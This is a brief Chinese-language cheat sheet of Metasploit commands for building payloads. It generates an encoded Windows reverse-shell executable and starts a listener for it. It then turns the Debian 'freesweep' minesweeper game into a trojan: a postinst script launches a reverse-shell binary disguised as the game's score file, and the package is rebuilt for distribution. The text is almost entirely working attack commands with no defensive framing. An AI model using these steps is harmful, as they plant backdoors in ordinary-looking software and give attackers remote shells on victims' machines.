payload 生成
windows 执行payload生成
msfvenom --payload-options -p windows/shell/reverse_tcp ##查看需要配置的options
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 9 -f exe -o 1.exe ##生成1.exe反弹木马
启用handler侦听
msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 1.1.1.1
set LPORT 4444
exploit
linux文件捆绑+payload
apt-get --donwload-only install freesweep
cp /var/cache/apt/archives/freesweep* /root/Desktop/
cd /root/Desktop/
dpkg -x freesweep_0.90-3+b1_amd64.deb free ##解包
cd free && mkdir DEBIAN && cd DEBIAN
vim control
Package:freesweep
Version:0.90-3
Section:Games and Amusement
Priority:optional
Architecture:i386
Maintainer:Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description:a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game,whereone tries to find all the mines without igniting any,based on hints given by the computer.Unlike most implementations of this game,Freesweep works in any visual text display-in Linux console,in an xterm,and in most text-based terminals currently in use.
vim postinst
#!/bin/sh
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep&
chmod 755 postinst && cd ..
msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b "\x00" -f elf -o /root/Desktop/free/usr/games/freesweep_scores
dpkg-deb -b /root/Desktop/free